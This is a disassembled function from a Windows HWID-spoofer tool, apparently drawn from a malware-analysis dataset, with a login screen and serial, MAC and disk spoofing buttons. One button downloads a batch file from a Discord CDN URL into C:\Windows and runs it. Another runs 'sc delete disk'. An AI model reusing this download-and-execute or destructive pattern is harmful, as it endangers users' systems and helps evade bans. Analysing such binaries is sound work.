Function at 0x14003c620
Capabilities:
Create http request
Execute command
Read data from internet
Receive data
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1240]
mov eax, 0x1340
call fcn.1400a4670
sub rsp, rax
movaps xmmword [rsp + 0x1330], xmm6
movaps xmmword [rsp + 0x1320], xmm7
movaps xmmword [rsp + 0x1310], xmm8
movaps xmmword [rsp + 0x1300], xmm9
movaps xmmword [rsp + 0x12f0], xmm10
movaps xmmword [rsp + 0x12e0], xmm11
movaps xmmword [rsp + 0x12d0], xmm12
movaps xmmword [rsp + 0x12c0], xmm13
movaps xmmword [rsp + 0x12b0], xmm14
movaps xmmword [rsp + 0x12a0], xmm15
mov rax, qword [0x1400cf0c0]
xor rax, rsp
mov qword [rbp + 0x1190], rax
lea rcx, [0x1400d0750]
call fcn.14004d090
mov dil, 1
xor sil, sil
xor r14d, r14d
lea r15, [0x1400d00d0]
lea r12, [0x1400d0060]
lea r13, [0x1400d0120]
movss xmm13, dword [0x1400be0d0]
movss xmm14, dword [0x1400be0f4]
movss xmm6, dword [0x1400be164]
xorps xmm7, xmm7
movss xmm12, dword [0x1400be08c]
movss xmm15, dword [0x1400be100]
movss xmm9, dword [0x1400be108]
movss xmm8, dword [0x1400be0f8]
movss xmm10, dword [0x1400be124]
movss xmm11, dword [0x1400be11c]
nop dword [rax]
nop word [rax + rax]
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400d00f0]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x14003c7b7
lea rcx, [0x1400d00f0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [0x1400d00f0]
call qword [sym.imp.USER32.dll_DispatchMessageW]
movzx edi, dil
cmp dword [0x1400d00f8], 0x12
cmove edi, r14d
movzx ebx, dil
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400d00f0]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x14003c761
test bl, bl
je 0x14003d82a
mov rax, qword [0x1400d0050]
test rax, rax
je 0x14003c7cc
mov rcx, qword [rax + 0x98]
jmp 0x14003c7cf
mov rcx, r14
cmp qword [rcx + 0x18], 0
jne 0x14003c7f2
test rax, rax
je 0x14003c7f2
mov rcx, qword [rax + 0x98]
test rcx, rcx
je 0x14003c7f2
cmp qword [rcx], 0
je 0x14003c7f2
call fcn.14002d0b0
call fcn.14002dca0
call fcn.140008ec0
mov rax, qword [0x1400d0050]
xor edx, edx
lea r8d, [rdx + 7]
lea rcx, [0x1400b6756]
mov dword [rax + 0x47c8], 0xbf800000
mov qword [rax + 0x47cc], r14
mov dword [rax + 0x47d4], r14d
mov dword [rax + 0x47bc], 1
or dword [rax + 0x47b8], 3
mov dword [rax + 0x47d8], 0x44218000
mov dword [rax + 0x47dc], 0x43d20000
mov dword [rax + 0x47c0], 1
call fcn.14000e350
mov rcx, qword [0x1400d0050]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
movss xmm1, dword [rax + 0x24]
movss xmm0, dword [rax + 0x20]
subss xmm1, dword [rax + 0x88]
subss xmm0, dword [rax + 0x84]
addss xmm1, xmm13
addss xmm0, xmm14
mov byte [rax + 0x141], 1
movss dword [rax + 0x104], xmm1
movss dword [rax + 0x100], xmm0
test sil, sil
jne 0x14003d138
mov dword [rsp + 0x40], 0x43480000
mov dword [rsp + 0x44], 0x41c80000
lea rdx, [rsp + 0x40]
lea rcx, [0x1400bce20]
call fcn.1400315f0
test al, al
je 0x14003c8e8
mov dword [0x1400d0ac0], r14d
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.140013b40
mov dword [rsp + 0x48], 0x43480000
mov dword [rsp + 0x4c], 0x41c80000
lea rdx, [rsp + 0x48]
lea rcx, [0x1400bce28]
call fcn.1400315f0
test al, al
je 0x14003c925
mov ecx, 1
mov dword [0x1400d0ac0], ecx
jmp 0x14003c92b
mov ecx, dword [0x1400d0ac0]
mov rdx, qword [0x1400d0050]
mov rax, qword [rdx + 0x3ed8]
cmp byte [rax + 0xbb], 0
jne 0x14003c965
mov eax, dword [rax + 0x1b4]
neg eax
sbb ecx, ecx
add ecx, 6
movaps xmm1, xmm12
call fcn.140032590
mov ecx, dword [0x1400d0ac0]
mov rdx, qword [0x1400d0050]
test ecx, ecx
je 0x14003cd75
cmp ecx, 1
jne 0x14003d5a9
mov rax, qword [rdx + 0x3ed8]
mov byte [rax + 0xb8], cl
mov rax, qword [rdx + 0x3ed8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
addss xmm1, xmm15
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, dword [0x1400be104]
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], cl
lea rcx, str.Please_Enter_Username__Password__Licence
call fcn.140030c70
mov rcx, qword [0x1400d0050]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
cmp byte [rax + 0xbb], 0
jne 0x14003ca15
mov qword [rsp + 0x50], 0
movaps xmm1, xmm6
lea rcx, [rsp + 0x50]
call fcn.140013820
mov rcx, qword [0x1400d0050]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
addss xmm1, xmm9
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, dword [0x1400be0ec]
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], reloc.WLDAP32.dll_Ordinal_32
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, reloc.WS2_32.dll_sendto
mov r8, r15
xor edx, edx
lea rcx, [0x1400bc080]
call fcn.140035110
mov rcx, qword [0x1400d0050]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
addss xmm1, dword [0x1400be118]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, dword [0x1400be0ec]
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x8000
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, reloc.WS2_32.dll_sendto
mov r8, r12
xor edx, edx
lea rcx, [0x1400bce7c]
call fcn.140035110
mov rcx, qword [0x1400d0050]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
addss xmm1, dword [0x1400be128]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, dword [0x1400be0ec]
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, reloc.WLDAP32.dll_Ordinal_50
mov r8, r13
xor edx, edx
lea rcx, [0x1400bcf0c]
call fcn.140035110
mov rcx, qword [0x1400d0050]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
addss xmm1, dword [0x1400be134]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, dword [0x1400be10c]
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov dword [rsp + 0x70], 0x43660000
mov dword [rsp + 0x74], 0x41c80000
lea rdx, [rsp + 0x70]
lea rcx, [0x1400bcf10]
call fcn.1400315f0
test al, al
je 0x14003d5a9
lea rax, [rbp + 0x28]
mov qword [rbp + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], r14
mov qword [rbp + 0x40], r14
xor r8d, r8d
lea rdx, [0x1400b6756]
lea rcx, [rbp + 0x28]
call fcn.140040490
nop
lea rax, [rbp + 0x48]
mov qword [rbp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], r14
mov qword [rbp + 0x60], r14
mov r8, 0xffffffffffffffff
inc r8
cmp byte [r8 + r13], 0
jne 0x14003cca2
mov rdx, r13
lea rcx, [rbp + 0x48]
call fcn.140040490
nop
lea rax, [rbp - 0x28]
mov qword [rbp + 0x18], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], r14
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [r12 + r8], 0
jne 0x14003cce0
mov rdx, r12
lea rcx, [rbp - 0x28]
call fcn.140040490
nop
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], r14
mov qword [rbp + 0x10], r14
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [r15 + r8], 0
jne 0x14003cd10
mov rdx, r15
lea rcx, [rbp - 8]
call fcn.140040490
nop
lea rax, [rbp + 0x28]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x48]
lea r8, [rbp - 0x28]
lea rdx, [rbp - 8]
lea rcx, [0x1400d0750]
call fcn.140051170
xor r9d, r9d
lea r8, str.Register
xor ecx, ecx
cmp byte [0x1400d0960], cl
je 0x14003da4c
lea rdx, str.Register_successful_
call qword [sym.imp.USER32.dll_MessageBoxW]
mov sil, 1
jmp 0x14003d5a9
mov rax, qword [rdx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rdx + 0x3ed8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
addss xmm1, xmm8
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, dword [0x1400be110]
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
lea rcx, str.Please_Enter_Username__Password
call fcn.140030c70
mov rcx, qword [0x1400d0050]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
addss xmm1, xmm15
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, dword [0x1400be0f0]
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
lea rcx, str.Username
call fcn.140030c70
mov rcx, qword [0x1400d0050]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
cmp byte [rax + 0xbb], 0
jne 0x14003ce7c
mov qword [rsp + 0x78], 0
movaps xmm1, xmm6
lea rcx, [rsp + 0x78]
call fcn.140013820
mov rcx, qword [0x1400d0050]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
addss xmm1, xmm9
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, dword [0x1400be0ec]
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov qword [rbp - 0x80], 0
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
lea rax, [rbp - 0x80]
mov qword [rsp + 0x20], rax
mov r9d, reloc.WS2_32.dll_sendto
mov r8, r15
xor edx, edx
lea rcx, [0x1400bc080]
call fcn.140035110
mov rcx, qword [0x1400d0050]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
addss xmm1, dword [0x1400be114]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, dword [0x1400be0f0]
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
lea rcx, str.Password
call fcn.140030c70
mov rcx, qword [0x1400d0050]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
addss xmm1, dword [0x1400be120]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, dword [0x1400be0ec]
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov qword [rbp - 0x78], 0
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x8000
lea rax, [rbp - 0x78]
mov qword [rsp + 0x20], rax
mov r9d, reloc.WS2_32.dll_sendto
mov r8, r12
xor edx, edx
lea rcx, [0x1400bce7c]
call fcn.140035110
mov rcx, qword [0x1400d0050]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
addss xmm1, dword [0x1400be130]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, dword [0x1400be10c]
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov dword [rbp - 0x70], 0x43660000
mov dword [rbp - 0x6c], 0x41c80000
lea rdx, [rbp - 0x70]
lea rcx, str.Log_in
call fcn.1400315f0
test al, al
je 0x14003d5a9
lea rax, [rbp - 8]
mov qword [rbp + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], r14
mov qword [rbp + 0x10], r14
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [r12 + r8], 0
jne 0x14003d0b0
mov rdx, r12
lea rcx, [rbp - 8]
call fcn.140040490
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], r14
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [r15 + r8], 0
jne 0x14003d0e0
mov rdx, r15
lea rcx, [rbp - 0x28]
call fcn.140040490
nop
lea r8, [rbp - 8]
lea rdx, [rbp - 0x28]
lea rcx, [0x1400d0750]
call fcn.14004efd0
xor r9d, r9d
lea r8, str.Login
xor ecx, ecx
cmp byte [0x1400d0960], cl
je 0x14003da62
lea rdx, str.Login_successful_
call qword [sym.imp.USER32.dll_MessageBoxW]
mov sil, 1
jmp 0x14003d5a9
mov dword [rbp - 0x68], 0x43480000
mov dword [rbp - 0x64], 0x41c80000
lea rdx, [rbp - 0x68]
lea rcx, str.HWID
call fcn.1400315f0
test al, al
je 0x14003d161
mov dword [0x1400d0ac0], r14d
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.140013b40
mov dword [rbp - 0x60], 0x43480000
mov dword [rbp - 0x5c], 0x41c80000
lea rdx, [rbp - 0x60]
lea rcx, str.Misc
call fcn.1400315f0
test al, al
je 0x14003d19b
mov ecx, 1
mov dword [0x1400d0ac0], ecx
jmp 0x14003d1a1
mov ecx, dword [0x1400d0ac0]
test ecx, ecx
je 0x14003d47b
cmp ecx, 1
jne 0x14003d5a9
mov rcx, qword [0x1400d0050]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
addss xmm1, xmm9
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, xmm8
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov dword [rbp - 0x58], 0x43390000
mov dword [rbp - 0x54], 0x41c80000
lea rdx, [rbp - 0x58]
lea rcx, str.Serial_Checker
call fcn.1400315f0
test al, al
je 0x14003d3b2
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, str.Download
call qword [sym.imp.WININET.dll_InternetOpenW]
test rax, rax
je 0x14003d3a5
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.https:__cdn.discordapp.com_attachments_1189764987024056361_1213220509651832872_serialchecker.bat_ex65f4aea6is65e239a6hmf20b4e22ee4ebba69c43c79c72af9d9afebdc30f2019e1965dd77662c10106bb
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x14003d3a5
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x80]
call sub.VCRUNTIME140.dll_memset
lea rdx, str.C:_Windows_serialchecker.bat
lea rcx, [rbp + 0x80]
call fcn.14003e9b0
nop
cmp qword [rbp + 0x108], 0
je 0x14003d346
lea r9, [rbp + 0x78]
mov r8d, 0x1000
lea rdx, [rbp + 0x190]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14003d313
mov eax, dword [rbp + 0x78]
test eax, eax
je 0x14003d313
mov r8d, eax
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea r9, [rbp + 0x78]
mov r8d, 0x1000
lea rdx, [rbp + 0x190]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x14003d2d7
lea rcx, [rbp + 0x88]
call fcn.14003f820
test rax, rax
jne 0x14003d346
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x80]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x80], rax
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x7c], edx
lea rcx, [rbp + 0x88]
call fcn.14003e940
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x128]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, str.start_C:_Windows_serialchecker.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.140013b40
mov dword [rbp - 0x50], 0x43390000
mov dword [rbp - 0x4c], 0x41c80000
lea rdx, [rbp - 0x50]
lea rcx, str.Discord
call fcn.1400315f0
test al, al
je 0x14003d3ec
lea rcx, str.start_https:__discord.com_invite_w8kWyw3zeq
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [0x1400d0050]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
movss xmm1, dword [rax + 0x20]
subss xmm1, dword [rax + 0x84]
addss xmm1, xmm10
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
addss xmm0, xmm11
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm0
mov byte [rax + 0x141], 1
mov dword [rbp - 0x48], 0x43390000
mov dword [rbp - 0x44], 0x41c80000
lea rdx, [rbp - 0x48]
lea rcx, str.Reset_Diskdrive
call fcn.1400315f0
test al, al
je 0x14003d5a9
lea rcx, str.sc_delete_disk
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x14003d5a9
mov rcx, qword [0x1400d0050]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
movss xmm1, dword [rax + 0x20]
subss xmm1, dword [rax + 0x84]
addss xmm1, xmm8
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
addss xmm0, xmm9
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm0
mov byte [rax + 0x141], 1
mov dword [rbp - 0x40], 0x43390000
mov dword [rbp - 0x3c], 0x41c80000
lea rdx, [rbp - 0x40]
lea rcx, str.Spoof_Serials
call fcn.1400315f0
test al, al
je 0x14003d4f9
call fcn.140039c20
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.140013b40
mov dword [rbp - 0x38], 0x43390000
mov dword [rbp - 0x34], 0x41c80000
lea rdx, [rbp - 0x38]
lea rcx, str.Spoof_MAC
call fcn.1400315f0
test al, al
je 0x14003d52b
call fcn.14003afb0
mov rcx, qword [0x1400d0050]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
movss xmm1, dword [rax + 0x20]
subss xmm1, dword [rax + 0x84]
addss xmm1, xmm10
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
addss xmm0, xmm11
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm0
mov byte [rax + 0x141], 1
mov dword [rbp - 0x30], 0x43390000
mov dword [rbp - 0x2c], 0x41c80000
lea rdx, [rbp - 0x30]
lea rcx, str.Spoof_Diskdrive
call fcn.1400315f0
test al, al
je 0x14003d5a9
call fcn.14003b260
call fcn.140010580
mov rax, qword [0x1400d0050]
mov dword [rax + 0x38a4], 0x3f800000
mov dword [rax + 0x38a8], 0x3f800000
mov dword [rax + 0x38ac], 0x3f800000
mov dword [rax + 0x38b0], 0x3f800000
mov dword [rax + 0x38b4], 0x3f000000
mov dword [rax + 0x38b8], 0x3f000000
mov dword [rax + 0x38bc], 0x3f000000
mov dword [rax + 0x38c0], 0x3f800000
mov qword [rax + 0x3914], r14
mov dword [rax + 0x391c], r14d
mov dword [rax + 0x3920], 0x3f800000
mov qword [rax + 0x38f4], 0x3f800000
mov dword [rax + 0x38fc], r14d
mov qword [rax + 0x3900], 0x3f800000
mov qword [rax + 0x3908], r14
mov dword [rax + 0x3910], 0x3f800000
mov qword [rax + 0x39f4], r14
mov dword [rax + 0x39fc], r14d
mov dword [rax + 0x3a00], 0x3f800000
mov dword [rax + 0x380c], 0x41a00000
movaps xmm0, xmm6
call fcn.140013bf0
call fcn.14000aba0
mov rcx, qword [0x1400d0a70]
mov rax, qword [rcx]
xor r8d, r8d
lea edx, [r8 + 7]
call qword [rax + 0x1c8]
mov rcx, qword [0x1400d0a70]
mov rax, qword [rcx]
xor r8d, r8d
lea edx, [r8 + 0x1b]
call qword [rax + 0x1c8]
mov rcx, qword [0x1400d0a70]
mov rax, qword [rcx]
xor r8d, r8d
mov edx, 0xae
call qword [rax + 0x1c8]
mov rcx, qword [0x1400d0a70]
mov rax, qword [rcx]
mov dword [rsp + 0x30], r14d
movss dword [rsp + 0x28], xmm12
mov dword [rsp + 0x20], r14d
mov r9d, 3
xor r8d, r8d
xor edx, edx
call qword [rax + 0x158]
mov rcx, qword [0x1400d0a70]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x14003d739
call fcn.14000afb0
mov rax, qword [0x1400d0050]
mov rcx, qword [rax + 0x48c8]
mov rax, qword [rcx]
add rax, 0x48
mov rcx, r14
cmp byte [rax], r14b
cmovne rcx, rax
call fcn.14002caf0
mov rcx, qword [0x1400d0a70]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rcx, qword [0x1400d0a70]
mov rax, qword [rcx]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [rax + 0x88]
cmp eax, 0x88760868
jne 0x14003c740
mov rcx, qword [0x1400d0a70]
mov rax, qword [rcx]
call qword [rax + Ordinal_26]
cmp eax, 0x88760869
jne 0x14003c740
mov rbx, qword [0x1400d0050]
test rbx, rbx
je 0x14003d7df
mov rbx, qword [rbx + 0x98]
test rbx, rbx
je 0x14003d7df
cmp qword [rbx], 0
je 0x14003d7df
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x14003d7aa
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rbx + 8], r14
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x14003d7bd
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rbx + 0x10], r14
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x14003d7df
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rbx + 0x18], r14
mov rax, qword [0x1400d0050]
mov rcx, qword [rax + 0x38]
mov qword [rcx + 8], r14
mov rcx, qword [0x1400d0a70]
mov rax, qword [rcx]
lea rdx, [0x1400d0a80]
call qword [rax + 0x80]
mov rax, qword [0x1400d0050]
test rax, rax
je 0x14003c740
mov rax, qword [rax + 0x98]
test rax, rax
je 0x14003c740
cmp qword [rax], 0
je 0x14003c740
call fcn.14002d0b0
jmp 0x14003c740
mov rcx, qword [0x1400d0050]
test rcx, rcx
je 0x14003d83f
mov rsi, qword [rcx + 0x98]
jmp 0x14003d842
mov rsi, r14
lea rdi, [rcx + 8]
test rcx, rcx
je 0x14003d8bc
mov rbx, qword [rcx + 0x98]
test rbx, rbx
je 0x14003d8bc
cmp qword [rbx], 0
je 0x14003d8bc
mov rdx, qword [rbx + 8]
test rdx, rdx
je 0x14003d87a
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rbx + 8], r14
mov rcx, qword [0x1400d0050]
mov rdx, qword [rbx + 0x10]
test rdx, rdx
je 0x14003d897
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rbx + 0x10], r14
mov rcx, qword [0x1400d0050]
mov rdx, qword [rbx + 0x18]
test rdx, rdx
je 0x14003d8bc
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rbx + 0x18], r14
mov rcx, qword [0x1400d0050]
mov rax, qword [rcx + 0x38]
mov qword [rax + 8], r14
mov rdx, qword [rsi]
test rdx, rdx
je 0x14003d8d4
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x1400d0050]
mov qword [rdi + 0x80], r14
mov qword [rdi + 0x90], r14
and dword [rdi + 4], 0xfffffff7
test rcx, rcx
je 0x14003d8f1
dec dword [rcx + 0xf0]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [0x1400d0050]
test rax, rax
je 0x14003d90f
mov rdi, qword [rax + 0x90]
jmp 0x14003d912
mov rdi, r14
lea rbx, [rax + 8]
mov rcx, qword [rdi + 0x38]
test rcx, rcx
je 0x14003d92c
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [0x1400d0050]
mov qword [rbx + 0x78], r14
mov qword [rbx + 0x88], r14
and dword [rbx + 4], 0xfffffff8
test rax, rax
je 0x14003d946
dec dword [rax + 0xf0]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [0x1400d0050]
mov qword [0x1400d0050], rbx
call fcn.140007060
mov qword [0x1400d0050], r14
test rbx, rbx
je 0x14003d991
mov rcx, rbx
call fcn.14001c630
mov rax, qword [0x1400d0050]
test rax, rax
je 0x14003d988
dec dword [rax + 0xf0]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [0x1400d0a70]
test rcx, rcx
je 0x14003d9aa
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1400d0a70], r14
mov rcx, qword [0x1400d0a78]
test rcx, rcx
je 0x14003d9c3
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1400d0a78], r14
mov rcx, qword [0x1400d00e8]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [0x1400d0098]
mov rcx, qword [0x1400d00c0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov rcx, qword [rbp + 0x1190]
